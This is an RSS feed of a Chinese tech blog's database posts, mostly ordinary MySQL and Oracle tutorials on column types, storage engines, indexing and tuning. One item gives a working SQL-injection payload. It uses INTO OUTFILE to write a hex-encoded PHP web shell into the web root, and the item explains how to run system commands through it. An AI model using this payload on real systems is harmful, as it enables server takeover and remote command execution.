<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>精東·博客 &#187; 数据库</title>
	<atom:link href="http://www.wemvc.com/tag/%e6%95%b0%e6%8d%ae%e5%ba%93/feed" rel="self" type="application/rss+xml" />
	<link>http://www.wemvc.com</link>
	<description>男人的胸怀是委屈撑大的。</description>
	<lastBuildDate>Tue, 10 Jan 2012 04:26:50 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>DISTINCT和GROUP BY的区别</title>
		<link>http://www.wemvc.com/696.html</link>
		<comments>http://www.wemvc.com/696.html#comments</comments>
		<pubDate>Sat, 13 Dec 2008 18:31:43 +0000</pubDate>
		<dc:creator>精东</dc:creator>
				<category><![CDATA[数据库]]></category>
		<category><![CDATA[sql]]></category>

		<guid isPermaLink="false">http://www.wemvc.com/?p=696</guid>
		<description><![CDATA[其实二者没有什么可比性，但是对于不包含聚集函数的GROUP BY操作来说，和DISTINCT操作是等价的。不过虽然二者的结果是一样的，但是二者的执行计划并不相同。
在Oracle9i中：

SQL&#62; SELECT * FROM V$VERSION;

BANNER
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-
Oracle9i Enterprise Edition Release 9.2.0.4.0 &#8211; Production PL/SQL Release 9.2.0.4.0 &#8211; Production
CORE 9.2.0.3.0 Production
TNS for Linux: Version 9.2.0.4.0 &#8211; Production
NLSRTL Version 9.2.0.4.0 &#8211; Production

SQL&#62; CREATE TABLE T AS SELECT ROWNUM ID, A.* FROM DBA_OBJECTS A;

表已创建。

SQL&#62; CREATE INDEX IND_T_CREATED ON T &#40;CREATED&#41;;

索引已创建。

SQL&#62;  ALTER TABLE T MODIFY CREATED NOT NULL;

表已更改。

SQL&#62; ALTER [...]]]></description>
		<wfw:commentRss>http://www.wemvc.com/696.html/feed</wfw:commentRss>
		<slash:comments>75</slash:comments>
		</item>
		<item>
		<title>通过Mysql的语句生成后门木马的方法</title>
		<link>http://www.wemvc.com/382.html</link>
		<comments>http://www.wemvc.com/382.html#comments</comments>
		<pubDate>Fri, 26 Sep 2008 16:50:33 +0000</pubDate>
		<dc:creator>精东</dc:creator>
				<category><![CDATA[数据库]]></category>
		<category><![CDATA[MySQL]]></category>

		<guid isPermaLink="false">http://www.wemvc.com/?p=382</guid>
		<description><![CDATA[SELECT * FROM `vbb_strikes` WHERE 1 union select 2,3,0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E from vbb_strikes into outfile &#8216;c:/inetpub/wwwroot/cmd.php&#8217;
通过Mysql 的注入或者在 phpmyadmin 里运行以上语句,则会C:/inetpub/wwwroot/下生成 cmd.php 文件,内容为原来的 vbb_strikes 内容,后面紧跟着:
2 3
再通过 http://www.xxx.com/cmd.php?cmd=dir c:\ 就可以执行系统DOS命令!
哪串0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E是什么东西?
就是的十六进制编码了,如果不用这种方法,有不同的SQL版本会出现其它的编码:如%xx之类的,哪这个后门就不能执行的了!如果你有其它语名要弄,可以到UltraEdit里输入,再按[Ctrl+H]键,将里面的十六进制连在一起就可以了!
]]></description>
		<wfw:commentRss>http://www.wemvc.com/382.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MySQL中各数据类型的取值范围</title>
		<link>http://www.wemvc.com/380.html</link>
		<comments>http://www.wemvc.com/380.html#comments</comments>
		<pubDate>Fri, 26 Sep 2008 16:48:34 +0000</pubDate>
		<dc:creator>精东</dc:creator>
				<category><![CDATA[数据库]]></category>
		<category><![CDATA[MySQL]]></category>

		<guid isPermaLink="false">http://www.wemvc.com/?p=380</guid>
		<description><![CDATA[以下是MySQL中各字段的取值范围：
TINYINT
-128 &#8211; 127
TINYINT UNSIGNED
0 &#8211; 255
SMALLINT
-32768 &#8211; 32767
SMALLINT UNSIGNED
0 &#8211; 65535
MEDIUMINT
-8388608 &#8211; 8388607
MEDIUMINT UNSIGNED
0 &#8211; 16777215
INT 或 INTEGER
-2147483648 &#8211; 2147483647
INT UNSIGNED 或 INTEGER UNSIGNED
0 &#8211; 4294967295
BIGINT
-9223372036854775808 &#8211; 9223372036854775807
BIGINT UNSIGNED
0 &#8211; 18446744073709551615
FLOAT
-3.402823466E+38 &#8211; -1.175494351E-38,0,1.175494351E-38 &#8211; 3.402823466E+38
DOUBLE 或 DOUBLE PRECISION 或 REAL
-1.7976931348623157E+308 &#8211; -2.2250738585072014E-308,0,2.2250738585072014E-308 &#8211; 1.7976931348623157E+308
DECIMAL[(M,[D])] 或 NUMERIC(M,D)
由M(整个数字的长度,包括小数点,小数点左边的位数,小数点右边的位数,但不包括负号)和D(小数点右边的位数)来决定,M缺省为10,D缺省为0
DATE
1000-01-01 &#8211; 9999-12-31
DATETIME
1000-01-01 00:00:00 &#8211; 9999-12-31 23:59:59
TIMESTAMP
1970-01-01 00:00:00 &#8211; 2037年的某天(具体是哪天我也不知道,呵呵)
TIME
-838:59:59&#8242; [...]]]></description>
		<wfw:commentRss>http://www.wemvc.com/380.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MySql数据库的列类型取值范围和占用空间详解</title>
		<link>http://www.wemvc.com/378.html</link>
		<comments>http://www.wemvc.com/378.html#comments</comments>
		<pubDate>Fri, 26 Sep 2008 16:47:36 +0000</pubDate>
		<dc:creator>精东</dc:creator>
				<category><![CDATA[数据库]]></category>
		<category><![CDATA[MySQL]]></category>

		<guid isPermaLink="false">http://www.wemvc.com/?p=378</guid>
		<description><![CDATA[MySQL数据库的表是一个二维表，由一个或多个数据列构成。
每个数据列都有它的特定类型，该类型决定了MySQL如何看待该列数据，我们可以把整型数值存放到字符类型的列中，MySQL则会把它看成字符串来处理。
MySQL中的列类型有三种：数值类、字符串类和日期/时间类。
从大类来看列类型和数值类型一样，都是只有三种。但每种列类型都还可细分。
下面对各种列类型进行详细介绍。
数值类的数据列类型
数值型的列类型包括整型和浮点型两大类。
TINYINT：1字节 非常小的正整数，带符号：-128~127，不带符号：0~255
SMALLINT：2字节 小整数，带符号：-32768~32767，不带符号：0~65535
MEDIUMINT：3字节 中等大小的整数，带符号：-8388608~8388607，不带符号：0~16777215
INT：4字节 标准整数，带符号：-2147483648~2147483647，不带符号：0~4294967295
BIGINT：8字节 大整数，带符号：-9223372036854775808~9233372036854775807，不带符号：0~18446744073709551615
FLOAT：4字节 单精度浮点数，最小非零值：+-1.175494351E-38，最大非零值：+-3.402823466E+38
DOUBLE：8字节 双精度浮点数，最小非零值：+-2.2250738585072014E-308，最大非零值：+-1.7976931348623157E+308
DECIMAL：M+2字节 以字符串形式表示的浮点数，它的取值范围可变，由M和D的值决定。
整型数据列类型
MySQL有五种整型数据列类型，即TINYINT，SMALLINT，MEDIUMINT，INT和BIGINT。它们之间的区别是取值范围不同，存储空间也各不相同。
在整型数据列后加上UNSIGNED属性可以禁止负数，取值从0开始。
声 明整型数据列时，我们可以为它指定个显示宽度M(1~255)，如INT(5)，指定显示宽度为5个字符,如果没有给它指定显示宽度，MySQL会为它指 定一个默认值。显示宽度只用于显示，并不能限制取值范围和占用空间，如：INT(3)会占用4个字节的存储空间，并且允许的最大值也不会是999,而是 INT整型所允许的最大值。
浮点型数据列类型
MySQL有三种浮点型数据列类型，分别是：FLOAT，DOUBLE和DECIMAL。
浮点类数据类型有一个最大可表示值和一个最小非零可表示值，最小非零可表示值决定了该类型的精确度。
MySQL 4.0.2版之后，FLOAT和DOUBLE都可以指定UNSIGNED属性。当指定该属性时，取值范围不平移到正数区间，而只是简单地把浮点类型的负数部份去掉。
浮 点类型也有M(1~255)和D(1~30，且不能大于M-2)。分别表示显示宽度和小数位数。M和D在FLOAT和DOUBLE中是可选的，默认，当 MySQL版本大于3.23.6时，FLOAT和DOUBLE类型将被保存为硬件所支持的最大精度。DECIMAL的M和D值在MySQL3.23.6后 可选，默认D值为0,M值为10。
如何选择数值类数据列类型？
为了节省存储空间和提高数据库处理效率，我们应根据应 用数据的取值范围来选择一个最适合的数据列类型。如果把一个超出数据列取值范围的数存入该列，则MySQL就会截短该值，如：我们把99999存入 SMALLINT(3)数据列里，因为SMALLINT(3)的取值范围是-32768~32767，所以就会被截短成32767存储。显示宽度3不会影 响数值的存储。只影响显示。
对于浮点数据列，存入的数值会被该列定义的小数位进行四舍五入。如把一个1.234存入FLOAT(6.1)数据列中，结果是1.2。
DECIMAL 与FLOAT和DOUBLE的区别是：DECIMAL类型的值是以字符串的形式被储存起来的，它的小数位数是固定的。它的优点是，不会象FLOAT和 DOUBLE类型数据列那样进行四舍五入而产生误差，所以很适合用于财务计算；而它的缺点是：由于它的存储格式不同，CPU不能对它进行直接运算，从而影 响运算效率。DECIMAL(M，D)总共要占用M+2个字节。
数值类数据列的属性
ZEROFILL属性适用于所有数值类数据列类型，作用是，如果数值的宽度小于定义的显示宽度，则在数值前填充0。
UNSIGNED属性不允许数据列出现负数。
AUTO_INCREMENT属性可生成独一无二的数字序列。只对整数类的数据列有效。
NULL和NOT NULL属性设置数据列是否可为空。
DEFAULT属性可为数据列指定默认值。
//////////////////////////////////////////////////////
字符串类数据列类型
字符串可以用来表示任何一种值，所以它是最基本的类型之一。
我们可以用字符串类型来存储图象或声音之类的二进制数据，也可存储用gzip压缩的数据。
下表介绍了各种字符串类型：
CHAR[(M)] M字节 M字节
VARCHAR[(M)] M字节 L+1字节
TINYBLOD，TINYTEXT 2^8-1字节 L+1字节
BLOB，TEXT 2^16-1字节 L+2
MEDIUMBLOB，MEDIUMTEXT 2^24-1字节 L+3
LONGBLOB，LONGTEXT 2^32-1字节 L+4
ENUM(&#8216;value1&#8242;,&#8217;value2&#8242;,&#8230;) 65535个成员 1或2字节
SET(&#8216;value1&#8242;,&#8217;value2&#8242;,&#8230;) 64个成员 1,2,3,4或8字节
L+1、 L+2是表示数据列是可变长度的，它占用的空间会根据数据行的增减面则改变。数据行的总长度取决于存放在这些数据列里的数据值的长度。L+1或L+2里多 出来的字节是用来保存数据值的长度的。在对长度可变的数据进行处理时，MySQL要把数据内容和数据长度都保存起来。
如果把超出字符串最大长度的数据放到字符类数据列中，MySQL会自动进行截短处理。
ENUM和SET类型的数据列定义里有一个列表，列表里的元素就是该数据列的合法取值。如果试图把一个没有在列表里的值放到数据列里，它会被转换为空字符串(“”)。
字符串类型的值被保存为一组连续的字节序列，并会根据它们容纳的是二进制字符串还是非二进制字符而被区别对待为字节或者字符：
二进制字符串被视为一个连续的字节序列，与字符集无关。MySQL把BLOB数据列和带BINARY属性的CHAR和VARCHAR数据列里的数据当作二进制值。
非二进制字符串被视为一个连续排列的字符序列。与字符集有关。MySQL把TEXT列与不带BINARY属性的CHAR和VARCHAR数据列里的数据当作二进制值对待。
在MySQL4.1以后的版本中，不同的数据列可以使用不同的字符集。在MySQL4.1版本以前，MySQL用服务器的字符集作为默认字符集。
非二进制字符串，即我们通常所说的字符串，是按字符在字符集中先后次序进行比较和排序的。而二进制字符串因为与字符集无关，所以不以字符顺序排序，而是以字节的二进制值作为比较和排序的依据。下面介绍两种字符串的比较方式：
二进制字符串的比较方式是一个字节一个字节进行的，比较的依据是两个字节的二进制值。也就是说它是区分大小写的，因为同一个字母的大小写的数值编码是不一样的。
非二进制字符串的比较方式是一个字符一个字符进行的，比较的依据是两个字符在字符集中的先后顺序。在大多数字符集中，同一个字母的大小写往往有着相同的先后顺序，所以它不区分大小写。
二 进制字符串与字符集无关，所以无论按字符计算还是按字节计算，二进制字符串的长度都是一样的。所以VARCHAR(20)并不表示它最多能容纳20个字 符，而是表示它最多只能容纳可以用20个字节表示出来的字符。对于单字节字符集，每个字符只占用一个字节，所以这两者的长度是一样的，但对于多字节字符 集，它能容纳的字符个数肯定少于20个。
CHAR和VARCHAR
CHAR和VARCHAR是最常用的两种字符串类型，它们之间的区别是：
CHAR是固定长度的，每个值占用相同的字节，不够的位数MySQL会在它的右边用空格字符补足。
VARCHAR是一种可变长度的类型，每个值占用其刚好的字节数再加上一个用来记录其长度的字节即L+1字节。
CHAR(0)和VARCHAR(0)都是合法的。VARCHAR(0)是从MySQL4.0.2版开始的。它们的作用是作为占位符或用来表示各种on/off开关值。
如何选择CHAR和VARCHAR，这里给出两个原则：
如果数据都有相同的长度，选用VARCHAR会多占用空间，因为有一位用来存储其长度。如果数据长短不一，选用VARCHAR能节省存储空间。而CHAR不论字符长短都需占用相同的空间，即使是空值也不例外。
如果长度出入不大，而且是使用MyISAM或ISAM类型的表，则用CHAR会比VARCHAR好，因为MyISAM和ISAM类型的表对处理固定长度的行的效率高。
在 一个数据表里，只要有一个数据列的长度是可变的，则所有数据列的长度将是可变的。MySQL会进行自动地转换。一个例外，CHAR长度小于4的不会进行自 动转换，因为MySQL会认为这样做没必要，节省不了多少空间。反而MySQL会把大量长度小的VARCHAR转换成CHAR，以减少空间占用量。
BLOB和TEXT
BLOB是二进制字符串，TEXT是非二进制字符串。两者都可存放大容量的信息。
有关BLOB和TEXT索引的建立：
BDB表类型和MySQL3.23.2以上版本的MyISAM表类型允许在BLOB和TEXT数据列上建立索引。
ISAM、HEAP和InnoDB表不支持大对象列的索引。
使用BLOB和TEXT应注意的问题：
由于这两个列类型所存储的数据量大，所以删除和修改操作容易在数据表里产生大量的碎片，需定期运行OPTIMIZE TABLE以减少碎片和提高性能。
如果使用的值非常巨大，就需对服务器进行相应的优化调整，增加max_allowed_packet参数的值。对那些可会用到变些巨大数据的客户程序，也需加大它们的数据包大小。
ENUM和SET
ENUM和SET都是比较特殊的字符串数据列类型，它们的取值范围是一个预先定义好的列表。ENUM或SET数据列的取值只能从这个列表中进行选择。ENUM和SET的主要区别是：
ENUM只能取单值，它的数据列表是一个枚举集合。它的合法取值列表最多允许有65535个成员。例如：ENUM(&#8220;N&#8221;,&#8221;Y&#8221;)表示，该数据列的取值要么是&#8221;Y&#8221;，要么就是&#8221;N&#8221;。
SET可取多值。它的合法取值列表最多允许有64个成员。空字符串也是一个合法的SET值。
ENUM和SET的值是以字符串形式出现的，但在内部，MySQL以数值的形式存储它们。
ENUM的合法取值列表中的字符串被按声明定义的顺序被编号，从1开始。
SET 的编号不是按顺序进行编号的，SET中每一个合法取值都对应着SET值里的一个位。第一个合法取值对应0位，第二个合法取值对应1位，以此类推，如果数值 形式的SET值等于0,则说明它是一个空字符串，如果某个合法的取值出现在SET数据列里，与之对应的位就会被置位；如果某个合法的取值没有出现在SET 数据列里，与之对应的位就会被清零。正因为SET值与位有这样的对应关系，所以SET数据列的多个合法取值才能同时出现并构成SET值。
字符串类型数据列的字符集属性
在MySQL 4.1以前的版本，字符串数据列的字符集由服务器的字符决定，MySQL 4.1版以后的版本可对每个字符串数据列指定不同的字符串。如果按默认方式设置，可按数据列、数据表、数据库、服务器的顺序关联字符串的字符集，直到找一个明确定义的字符集。
/////////////////////////////////////////////////////////
日期,时间型数据列类型
DATE 1000-01-01~9999-12-31 3字节(MySQL3.23版以前是4字节 ) [...]]]></description>
		<wfw:commentRss>http://www.wemvc.com/378.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MySQL数据库存储引擎详解</title>
		<link>http://www.wemvc.com/375.html</link>
		<comments>http://www.wemvc.com/375.html#comments</comments>
		<pubDate>Fri, 26 Sep 2008 16:46:21 +0000</pubDate>
		<dc:creator>精东</dc:creator>
				<category><![CDATA[数据库]]></category>
		<category><![CDATA[MySQL]]></category>

		<guid isPermaLink="false">http://www.wemvc.com/?p=375</guid>
		<description><![CDATA[存储引擎是什么？
MySQL中的数据用各种不同的技术存储在文件(或者内存)中。这些技术中的每一种技术都使用不同的存储机制、索引技巧、锁定水平并且最终提供广泛的不同的功能和能力。
通过选择不同的技术，你能够获得额外的速度或者功能，从而改善你的应用的整体功能。
例如，如果你在研究大量的临时数据，你也许需要使用内存存储引擎。内存存储引擎能够在内存中存储所有的表格数据。又或者，你也许需要一个支持事务处理的数据库(以确保事务处理不成功时数据的回退能力)。
这 些不同的技术以及配套的相关功能在MySQL中被称作存储引擎(也称作表类型)。MySQL默认配置了许多不同的存储引擎，可以预先设置或者在MySQL 服务器中启用。你可以选择适用于服务器、数据库和表格的存储引擎，以便在选择如何存储你的信息、如何检索这些信息以及你需要你的数据结合什么性能和功能的 时候为你提供最大的灵活性。
选择如何存储和检索你的数据的这种灵活性是MySQL为什么如此受欢迎的主要原因。其它数据库系统(包括大多 数商业选择)仅支持一种类型的数据存储。遗憾的是，其它类型的数据库解决方案采取的“一个尺码满足一切需求”的方式意味着你要么就牺牲一些性能，要么你就 用几个小时甚至几天的时间详细调整你的数据库。使用MySQL，我们仅需要修改我们使用的存储引擎就可以了。
在这篇文章中，我们不准备集 中讨论不同的存储引擎的技术方面的问题(尽管我们不可避免地要研究这些因素的某些方面)，相反，我们将集中介绍这些不同的引擎分别最适应哪种需求和如何启 用不同的存储引擎。为了实现这个目的，在介绍每一个存储引擎的具体情况之前，我们必须要了解一些基本的问题。
如何确定有哪些存储引擎可用
你可以在MySQL(假设是MySQL服务器4.1.2以上版本)中使用显示引擎的命令得到一个可用引擎的列表。
mysql&#62; show engines;
+&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+
&#124; Engine     &#124; Support &#124; Comment                                                    &#124;
+&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+
&#124; MyISAM     &#124; DEFAULT &#124; Default engine as of MySQL 3.23 [...]]]></description>
		<wfw:commentRss>http://www.wemvc.com/375.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>高效的MySQL数据库应用原则</title>
		<link>http://www.wemvc.com/373.html</link>
		<comments>http://www.wemvc.com/373.html#comments</comments>
		<pubDate>Fri, 26 Sep 2008 16:45:38 +0000</pubDate>
		<dc:creator>精东</dc:creator>
				<category><![CDATA[数据库]]></category>
		<category><![CDATA[MySQL]]></category>

		<guid isPermaLink="false">http://www.wemvc.com/?p=373</guid>
		<description><![CDATA[MySQL对于成为一个非常快速的数据库服务器有着当之无愧的名声，它也非常容易设置和使用。随着它作为网站后端数据库得声望日增，其效果在去年开始有明 显提高。但是很多MySQL用户更多地知道如何创建一个数据库并编写对它的查询。就像成千上万的人通过载闲暇时用Linux做实验来学习Unix那样，很 多人通过玩MySQL学习关系数据库。这些MySQL新手的大多数既没有关系数据库理论的背景，又没有时间阅读MySQL手册全文。
因此，我们决定研究某些方法，你可以用针对优化性能来调节MySQL。在读完本文后，你将理解一些帮助你设计你的MySQL数据库和查询的技术，值得你的应用很有效率。我们将假定你熟悉MySQL和SQL基础，但不假定你有这两方面的广博知识。
只存储你需要的信息
这 听上去是常识，但人们常常采取“厨房下水道”的方式进行数据库设计。他们认为可能项要得每样东西都要存储并设计数据库保存所有者这些数据。你需要对你的需 求现实些，并确定取确实需要什么信息。你常常能随意产生一些数据而不把它存在数据库表中。在这种情况下，从一个应用开发者的角度看也有道理这样做。
例 如，在线目录的产品表可能包含各种产品的名称、介绍、尺寸、重量和价格。除了价格，你可能想存储每个项目相关的税和运输成本。但实际上不必这样做。首先税 和运输成本可以方便地（由你的应用或MySQL）计算出来。其次，如果税和运输成本改变了，你可能必须编写必要的查询更新每个产品记录中的税和运输的费 率。
有时人们认为这太难不能在以后往数据库表中加入字段，所以他们感觉不得不定义尽可能多的列。这是明显的概念错误。在MySQL中，你可以用ALTER TABLE命令方便地修改表定义以适应你改变的需求。
例如，如果你突然认识到你需要给你的产品表增加一个级别列（可能你想允许用户在你的目录中给产品评级），你可以这样做：
ALTER TABLE products ADD rank INTEGER
这给你的产品表增加了一个整数类型的级别列，你能用ALTER TABLE做什么的完整介绍参见MySQL手册。
只要求你需要的东西&#8211;要清晰
就像说“只存储你需要的东西”那样，这可能看来是常识，但这一点常常被忽视，为什么呢？因为在一个应用开发时，需求经常改变，所以很多查询最终看来是这样：
SELECT * FROM sometable
当你不能肯定你将需要哪一列时，要求所有列明显是最省力的事情，然而随着你的表不断增大和修改，这可能变成一个性能问题。最好是在你的最初开发完成后再花些时间并确定你真正从你的查询中需要什么：
SELECT name, rank, description FROM products
这带来了一个相关的观点，即代码维护比性能更重要。大多数变成语言（Perl、Python、PHP、Java等）允许通过字段名和数字编号访问一条查询的结果，这意味着你可以访问命名字段或字段０都可以得到相同的数据。
长期看，最好使用列名而不是其编号位置，为什么？因为一个表中或一条查询中地列的相对位置可以改变。它们在表中可能因为重复使用ALTER TABLE而改变，它们在查询中将因重写了查询而忘记更新应用逻辑来匹配而改变。
当然，你仍然需要小心改变列名！但如果你使用列名而非标号位置，如列名改变，你可以用grep搜索源代码或使用编辑器的搜索能力查找你需要修改的代码。
规范化你的表结构
如果你以前从未听说过“数据规范化”，不要害怕。规范化可能是一个复杂的专题，你可以从只理解最基本的规范化概念中正真正获益。
理解它的最容易的方法是认为你的表是一个电子报表。如果你想以一个报表跟踪你的CD收藏，你可以如图１种那样进行设计：
图１

引用

album                      track1        track2             track10
&#8212;&#8211;                   [...]]]></description>
		<wfw:commentRss>http://www.wemvc.com/373.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MYSQL索引分析和优化设计方案</title>
		<link>http://www.wemvc.com/370.html</link>
		<comments>http://www.wemvc.com/370.html#comments</comments>
		<pubDate>Fri, 26 Sep 2008 16:43:34 +0000</pubDate>
		<dc:creator>精东</dc:creator>
				<category><![CDATA[数据库]]></category>
		<category><![CDATA[MySQL]]></category>

		<guid isPermaLink="false">http://www.wemvc.com/?p=370</guid>
		<description><![CDATA[一、什么是索引？
索引用来快速地寻找那些具有特定值的记录，所有MySQL索引都以B-树的形式保存。如果没有索引，执行查询时 MySQL必须从第一个记录开始扫描整个表的所有记录，直至找到符合要求的记录。表里面的记录数量越多，这个操作的代价就越高。如果作为搜索条件的列上已 经创建了索引，MySQL无需扫描任何记录即可迅速得到目标记录所在的位置。如果表有1000个记录，通过索引查找记录至少要比顺序扫描记录快100倍。
假设我们创建了一个名为people的表：



CREATE TABLE people ( peopleid SMALLINT NOT NULL, name CHAR(50) NOT NULL );



然后，我们完全随机把1000个不同name值插入到people表。下图显示了people表所在数据文件的一小部分：
可以看到，在数据文件中name列没有任何明确的次序。如果我们创建了name列的索引，MySQL将在索引中排序name列：
对于索引中的每一项，MySQL在内部为它保存一个数据文件中实际记录所在位置的“指针”。因此，如果我们要查找name等于“Mike”记录的 peopleid（SQL命令为“SELECT peopleid FROM people WHERE name=\&#8217;Mike\&#8217;;”），MySQL能够在name的索引中查找“Mike”值，然后直接转到数据文件中相应的行，准确地返回该行的 peopleid（999）。在这个过程中，MySQL只需处理一个行就可以返回结果。如果没有“name”列的索引，MySQL要扫描数据文件中的所有 记录，即1000个记录！显然，需要MySQL处理的记录数量越少，则它完成任务的速度就越快。
 二、索引的类型
MySQL提供多种索引类型供选择：

普通索引
这是最基本的索引类型，而且它没有唯一性之类的限制。普通索引可以通过以下几种方式创建：

创建索引，例如CREATE INDEX &#60;索引的名字&#62; ON tablename (列的列表);
修改表，例如ALTER TABLE tablename ADD INDEX [索引的名字] (列的列表);
创建表的时候指定索引，例如CREATE TABLE tablename ( [...], INDEX [索引的名字] (列的列表) );


唯一性索引
这种索引和前面的“普通索引”基本相同，但有一个区别：索引列的所有值都只能出现一次，即必须唯一。唯一性索引可以用以下几种方式创建：

创建索引，例如CREATE UNIQUE INDEX &#60;索引的名字&#62; ON tablename (列的列表);
修改表，例如ALTER TABLE tablename ADD UNIQUE [索引的名字] (列的列表);
创建表的时候指定索引，例如CREATE [...]]]></description>
		<wfw:commentRss>http://www.wemvc.com/370.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>一些 Mysql 的优化经验</title>
		<link>http://www.wemvc.com/368.html</link>
		<comments>http://www.wemvc.com/368.html#comments</comments>
		<pubDate>Fri, 26 Sep 2008 16:42:32 +0000</pubDate>
		<dc:creator>精东</dc:creator>
				<category><![CDATA[数据库]]></category>
		<category><![CDATA[MySQL]]></category>

		<guid isPermaLink="false">http://www.wemvc.com/?p=368</guid>
		<description><![CDATA[数据库结构
引用
字段类型的定义时遵循以下规则:
选用字段长度最小
优先使用定长型
尽可能的定义 &#8220;NOT NULL&#8221;
数值型字段中避免使用 &#8220;ZEROFILL&#8221;
如果要储存的数据为字符串, 且可能值已知且有限, 优先使用 enum 或 set
索引的优化
引用
被索引的字段的长度越小, 该索引的效率越高
被索引的字段中, 值的重复越少, 该索引的效率越高
查询语句中, 如果使用了 &#8220;group&#8221; 子句, 根据其中字段出现的先后顺序建立多字段索引
查询语句中, 如果使用了 &#8220;distinct&#8221;, 根据其中字段出现的先后顺序建立多字段索引
&#8220;where&#8221; 子句中, 出现对同一表中多个不同字段的 &#8220;and&#8221; 条件时, 按照字段出现的先后顺序建立多字段索引
&#8220;where&#8221; 子句中, 出现对同一表中多个不同字段的 &#8220;or&#8221; 条件时, 对重复值最少的字段建立单字段索引
进行 &#8220;内/外连接&#8221; 查询时, 对 &#8220;连接字段&#8221; 建立索引
对 &#8220;主键&#8221; 的 &#8220;unique&#8221; 索引 毫无意义, 不要使用
被索引字段尽可能的使用 &#8220;NOT NULL&#8221; 属性
对写入密集型表, 尽量减少索引, 尤其是 &#8220;多字段索引&#8221; 和 &#8220;unique&#8221; 索引
查询语句的优化
引用
多多利用 &#8220;explain&#8221; 查询索引使用情况, 以便找出最佳的查询语句写法和索引设置方案
慎用 &#8220;select *&#8221;, 查询时只选出必须字段
查询使用索引时, [...]]]></description>
		<wfw:commentRss>http://www.wemvc.com/368.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MySQL提升性能优化的服务器参数</title>
		<link>http://www.wemvc.com/366.html</link>
		<comments>http://www.wemvc.com/366.html#comments</comments>
		<pubDate>Fri, 26 Sep 2008 16:41:43 +0000</pubDate>
		<dc:creator>精东</dc:creator>
				<category><![CDATA[数据库]]></category>
		<category><![CDATA[MySQL]]></category>

		<guid isPermaLink="false">http://www.wemvc.com/?p=366</guid>
		<description><![CDATA[以下MySQL提升性能优化的服务器系统参数是比较关键的：
(1)、back_log：
引用
要求 MySQL 能有的连接数量。当主要MySQL线程在一个很短时间内得到非常多的连接请求，这就起作用，然后主线程花些时间(尽管很短)检查连接并且启动一个新线程。
back_log 值指出在MySQL暂时停止回答新请求之前的短时间内多少个请求可以被存在堆栈中。只有如果期望在一个短时间内有很多连接，你需要增加它，换句话说，这值对到来的TCP/IP连接的侦听队列的大小。你的操作系统在这个队列大小上有它自己的限制。试图设定back_log高于你的操作系统的限制将是无效的。
当你观察你的主机进程列表，发现大量 264084 &#124; unauthenticated user &#124; xxx.xxx.xxx.xxx &#124; NULL &#124; Connect &#124; NULL &#124; login &#124; NULL 的待连接进程时，就要加大 back_log 的值了。默认数值是50，我把它改为500。
(2)、interactive_timeout：
引用
服务器在关闭它前在一个交互连接上等待行动的秒数。一个交互的客户被定义为对 mysql_real_connect()使用 CLIENT_INTERACTIVE 选项的客户。 默认数值是28800，我把它改为7200。
(3)、key_buffer_size：
引用
索引块是缓冲的并且被所有的线程共享。key_buffer_size是用于索引块的缓冲区大小，增加它可得到更好处理的索引(对所有读和多重写)，到你能负担得起那样多。如果你使它太大，系统将开始换页并且真的变慢了。默认数值是8388600(8M)，我的MySQL主机有2GB内存，所以我把它改为 402649088(400MB)。
(4)、max_connections：
引用
允许的同时客户的数量。增加该值增加 mysqld 要求的文件描述符的数量。这个数字应该增加，否则，你将经常看到 Too many connections 错误。 默认数值是100，我把它改为1024 。
(5)、record_buffer：
引用
每个进行一个顺序扫描的线程为其扫描的每张表分配这个大小的一个缓冲区。如果你做很多顺序扫描，你可能想要增加该值。默认数值是131072(128K)，我把它改为16773120 (16M)
(6)、sort_buffer：
引用
每个需要进行排序的线程分配该大小的一个缓冲区。增加这值加速ORDER BY或GROUP BY操作。默认数值是2097144(2M)，我把它改为 16777208 (16M)。
(7)、table_cache：
引用
为所有线程打开表的数量。增加该值能增加mysql要求的文件描述符的数量。MySQL对每个唯一打开的表需要2个文件描述符。默认数值是64，我把它改为512。
(8)、thread_cache_size：
引用
可以复用的保存在中的线程的数量。如果有，新的线程从缓存中取得，当断开连接的时候如果有空间，客户的线置在缓存中。如果有很多新的线程，为了提高性能可以这个变量值。通过比较 Connections 和 Threads_created 状态的变量，可以看到这个变量的作用。我把它设置为 80。
(10)、wait_timeout：
引用
服务器在关闭它之前在一个连接上等待行动的秒数。 默认数值是28800，我把它改为7200。
注：参数的调整可以通过修改 /etc/my.cnf 文件并重启 MySQL 实现。这是一个比较谨慎的工作，上面的结果也仅仅是我的一些看法，你可以根据你自己主机的硬件情况（特别是内存大小）进一步修改。
]]></description>
